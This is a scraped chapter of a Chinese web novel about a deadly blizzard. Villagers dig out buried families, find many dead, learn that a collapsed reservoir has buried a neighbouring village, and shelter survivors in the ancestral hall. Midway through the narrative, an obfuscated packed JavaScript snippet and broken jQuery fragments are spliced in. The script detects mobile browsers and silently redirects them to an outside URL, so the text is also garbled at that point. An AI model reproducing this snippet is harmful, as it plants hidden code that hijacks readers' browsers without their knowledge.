童念她们到的时候,吴村正已经组织着还能动弹的人手,凭借着记忆在厚厚的雪堆里确认方位,开始挖掘那些被完全掩埋的人家。
就在这时,谢家村的村正也带着二十几个青壮汉子,扛着铲子镐头,匆匆忙忙的赶了过来。
谢家村房子大都结实,受灾较轻,知晓安民村底子薄,解决了自家村子的事情,立马带了人过来,可没想眼前的景象比预想的还要糟糕。
“都别愣着,快动手挖!”村正对谢家村人喊道,自己率先跳进雪里,奋力挥起手里的铁铲。
其他人也立刻散开,加入到救援中,冰雪中哭喊声和铁铲的声音混杂在一起。
还有人扒在雪堆边缘,声嘶力竭地喊熟识的名字,却只有漫天滚卷的风雪呼啸回应。
童念捏着铁铲,脚步一抬就想跟着去救援,谢云意余光瞥见她的动作,一把拉住了她:“童童!这里交给我们。”
童念茫然抬头,谢云意微微用力,掰开她的手指,拿过铁锹,声音放轻了些:“去吧。”
恰在这时,杨氏从旁边匆匆走过,一眼瞥见童念,急忙过来拉住她的胳膊:“童娘子你来得正好!快来帮帮忙,好些老人孩子冻坏了,得赶紧挪到挡风雪的地方去,这雪里不能再待人了!”
童念这才回过神,她压下喉咙的酸哽,朝谢云意匆匆点了下头,便转身跟着杨氏快步离开。
俩人半道上又遇到惊慌跑来的李婶和杨大丫,杨氏喊上她们,又招呼了几个手脚利落的妇人,大家一起将在冰雪里的老人孩子搀扶去新修的祠堂。
村头祠堂虽然简陋,好在是青瓦木屋,空间也宽阔,就被当成了临时的避难所。
村里还能动弹的人,不拘妇人孩子,还是上了年纪的,纷纷自发跑动起来。
有人抱来了柴火,在祠堂空地上点燃了火堆。
有人回家抱来了未被雪浸湿的被褥给冻着的人盖着,还有人抬来了大锅,架在火上烧起了热水。
杨氏带着媳妇给冻得发抖的村民分发热水,童念则跟着几个有经验的妇人帮着安置。
瞧见几个冻得脸色发紫的孩子想靠近火堆,童念立即扬声制止:“别过去!冻伤的不能直接烤火!”
村里人都知晓童念平日里会进山里采些药草,此刻听她语气急切,想靠近火源暖身的人都停了动作。
村里有经验的老人也出声道:“童娘子说得对,冻狠了的人,不能靠近火,不然皮肉会烂掉,大家裹在一处先慢慢捂着,喝些温水,等身子缓过来些再说。”
杨氏一听,连忙叫住那几个妇人,一起动手,将冻得最厉害的几个孩子用干燥的厚被褥裹严实,紧紧搂在怀里,又慢慢喂了些温水。
如此反复几次,待他们唇色青紫稍退,身体不再抖得那么厉害,才让他们移到离火堆稍远些,能感受到暖意却又不会太烫的地方坐着。
其他人也依着这个法子,冻得轻的就围着火堆取暖,冻得厉害的,几个人裹着被褥,底下坐着干稻草,喝着热水等身子慢慢回暖。
之后又有人找来陶盆,兑上不烫手的温水,让冻得发颤的人,将手脚慢慢浸泡进去,回暖些温度。
外头风雪依旧狂肆,冻得人脑袋都发疼,但救援的人顾不上太多,只能凭着一股心气劲儿,拼了命的在雪堆里刨动。
不知过了多久,祠堂里的人听见外头传来惊喜的喊声:“挖到了!这里有人!”
但随后便是骤然的死静。
最先被挖出来的几户,情景让人心碎惊寒。
一家五口,蜷缩在倒塌的木床边,保持着互相依偎的姿势,身体早已冰冷僵硬。
另一户,老人还躺在床上,横梁砸在身上,怀里护着幼孙,瞧样子就是睡梦中突逢坍塌,来不及逃开的。
还有一户,一岁左右的女娃娃,被她娘亲死死搂在胸前,挖出来时,小脸青紫,早已没了气息,她娘亲同样没了呼吸。
白雪坍塌之下的惨状令人窒息,即便是见惯了生死的谢云意,见到此景,心头也是一片冰凉,只能暗自祈祷有人能在这片茫白中熬下来。
但奇迹终究没有降临。
被厚雪完全掩埋的十几户人家,近四十口人,无一幸免。
还有一些房屋严重坍塌的人家,找到了幸存者,但家中的老人或是体弱的幼儿,没能熬过极寒的煎熬,在冰寒和惊吓中离世。
当最后一处可能埋人的地方被清理出来,确认再无生还者时,肆虐了许久的风雪,竟毫无预兆地停了。
天空一片雾茫茫的灰色,遗体被整齐地安置在雪地上,现场一片死寂,所有人都停下了手里的动作,连呼吸都仿佛停滞了般寂静。
吴村正面色悲怆,瘫软着跪在雪地上,语气悲凉:“一个......一个都没活啊。”
谢家村的村正也红了眼眶,难受的拍了拍吴村正的肩头,哑着声道:“老吴头你节哀.....咱们还得去其他村子帮忙救人,我只怕......”
他话没说完,但在场的人都明白他未尽的意思,这场雪灾波及的范围,不止安民村眼下这一处。
吴村正胡乱的抹了抹脸上的湿意,压着悲意颤抖着起身:“对,对......还得去别村看看。”
吴村正转身进了祠堂,和杨氏交代了几句,让她看顾好这里。
之后顾不上休息,谢家村和安民村还能行动的丁壮,又拿着工具,踏着雪匆匆朝着附近的村子赶去。
安民二村、三村同样受灾严重,他们赶到的时候,还有不少人还被埋在雪里,他们一行人立即跟着投入了救援。
待把两个村子勉强安置好,又汇合了两个村里还能行动的青状,一群人朝着附近的李家村、青山村奔去。
半道上,遇到了准备来安民村帮忙救援的李家村的人。
听闻安民村的惨讯,李家村的人只能叹息安慰,之后他们一群人沿着积雪覆盖的道路,一路朝着青山村奔袭。
在通往青山村的岔路口附近,他们遇到了几个从青山村方向跌跌撞撞逃出来的人。
那几个村民面色惨青,眼神涣散,见了他们,仿佛见了鬼似的,全身哆嗦颤抖。
几个村正连忙上前扶住询问几人青山村的情况。
“没了......全没了!”一个老汉瘫坐在雪地里,语无伦次地哭喊:“水库压崩了......雪像山一样冲下来......整个村子都埋进去了!”
众人心头惊震,一股冰意直窜头顶。
青山村地势较低,三面环山,村头有一座用于日常灌溉的小型土石水库。
连日罕见的暴雪,积雪恐怕已经远超水库的负载,很可能会让堤坝本身冻裂溃决。
若是如此,库水混着积雪很可能会形成了恐怖的泥雪流。
这种泥雪流速度惊人,裹挟着巨量的冰雪,能瞬间吞噬整个村庄,那景象,光是想想便让人遍体生寒。
吴村正他们不敢多停留,赶紧加快脚步赶到青山村,只是眼下瞧见的景象让所有人都僵在了原地。
只见原本村落所在的位置,此刻已被一片浑浊的冰雪泥石彻底覆盖,成了一片泥泽。
众人紧拽着手里的工具,红着眼看向那片绝地,搜索救援在这里,已经彻底失去意义了。
就在这时,原本死寂灰暗的天空,竟又飘飘扬扬,落下了大片的雪花。
天色变得昏暗,寒风刺骨,暴雪不止。
吴村正伸出手,不过片刻,就接了一掌心的雪花,他声音悲凉:“这天,不让人活啊。”
这句话让在场诸人的心都沉了底,在目睹面前这副惨剧后,再次降临的恶劣暴雪,让人心生绝望。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083617|191968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
众人默然站立在这片埋葬了整个村落的冰雪坟场前,任凭雪花落满肩头。
沉默良久,谢家村的村正才重重叹了口气:“回吧。”他用手抹了下泛红的眼眶:“先回去把各村安置好,青山村......唉。”
一行人沉默地转身。
那几个从青山村逃出来的村民,被李家村的人搀扶着,准备一并带回李家村暂时安置。
这几个人目光空洞,对周围的一切都失去了反应,满脸麻木的跟在李家村人身后。
在往李家村方向的分叉道上,吴村正强打精神,和谢家村、李家村的村正简短商议了一下。
眼下风雪仍旧未停,各村自救已是极限,实在无力再组织跨村的大规模救援了。
现在各村最重要的事情,是妥善安置村里还幸存下来的村民。
他们几个村子距离不远,必须要在这场雪灾里守望相助,才能共抗这道难关。
之后李家村和谢家村的人陆续告辞,吴村正带着人回了安民村,一行人气氛压抑,没人说话,只有风雪呼啸的声音。
待回到安民村里时,祠堂里挤满了受灾的村民,好在冻伤的人都缓了过来,这一日没再增加新的伤亡。
童念跟在杨氏身后,将熬得稀薄如水的米粥分发给村民。
她往回来的队伍瞧了一眼,没瞧见谢云意,猜想他应该跟着谢家村的人回去了。
吴村正把其他几个村子的消息带了回来,听闻青山村的惨讯,祠堂里沉默了很久,随即响起压抑的叹息和咒骂声,不少人红了眼眶,喃喃念着造孽啊。
童念帮着分了粥,见祠堂暂时能稳住,这才冒着雪往家里走。
推开被雪堵得有些发沉的院门,瞧见往灶房和堂屋走的方向,雪地里有一条痕迹明显的小道,应该是林安俩人清理出来的。
灶房屋里只有柴火的暖光,她推开灶房门,就瞧见两人相互依偎着,蜷在火盆边的小凳上,听到响动,两人齐刷刷抬起头。
“阿姐!”林宁瞧见童念,声音带着哭腔,飞扑过来抱住童念的大腿。
“阿姐!你回来了,灶里给你热了饭。”林安也起身跟在她身后,小脸是压制不住的仓惶。
他们两今日一整天都待在灶房里,担心童念又不敢出去找她,眼下见她满脸疲惫的回来,语气里满是心疼。
童念心头酸软,伸手将两人都搂进怀里,轻轻拍了拍他们的背:“嗯,你们吃饭没有?”
“我和哥哥吃了,外头风雪太大,我们想出去找你,又怕添乱,都不敢出去!”林宁仰着脸,眼里含着泪花,语气惶恐又委屈。
童念柔声夸赞道:“嗯,你们做的很好,阿姐没事,你们坐好,别冻着了。”
她松开他们,走到灶边,掀开锅盖,里面温着一碗杂粮饭,旁边小碟里还有一点咸菜和排骨,都是昨日剩下的。
她舀了饭,就蹲在火盆边的木凳上,匆匆吃起来。
待吃完饭,童念紧绷了一天的神经放松不少,她斟酌着怎么说才不会吓到她们:“昨儿雪太大了,村里有些人家......被埋进雪里了。”
顿了顿,她才又慢声道:“待会你们收拾些衣裳,去萧嫂子家里住,她那边房子结实些,也能照应你们。”
林安林宁俩人懂事的点头,林安想起谢云意的嘱咐:“阿姐,方才你不在时,谢大哥来过,他说他先回谢家村,让你注意屋顶的积雪,照顾好自己。”
童念心下一暖,她点点头:“嗯,知道了。”
林安看了看她的神色,嘴唇动了动,似乎想问什么,但看到童念眉宇间的疲惫憔悴,终究把话咽了回去,现在不是说这些的时候。
童念让两人收拾几件换洗的衣物和厚实的被褥,将火盆里的火星用雪扑灭,仔细锁紧门窗,牵着她们朝萧三娘家走去。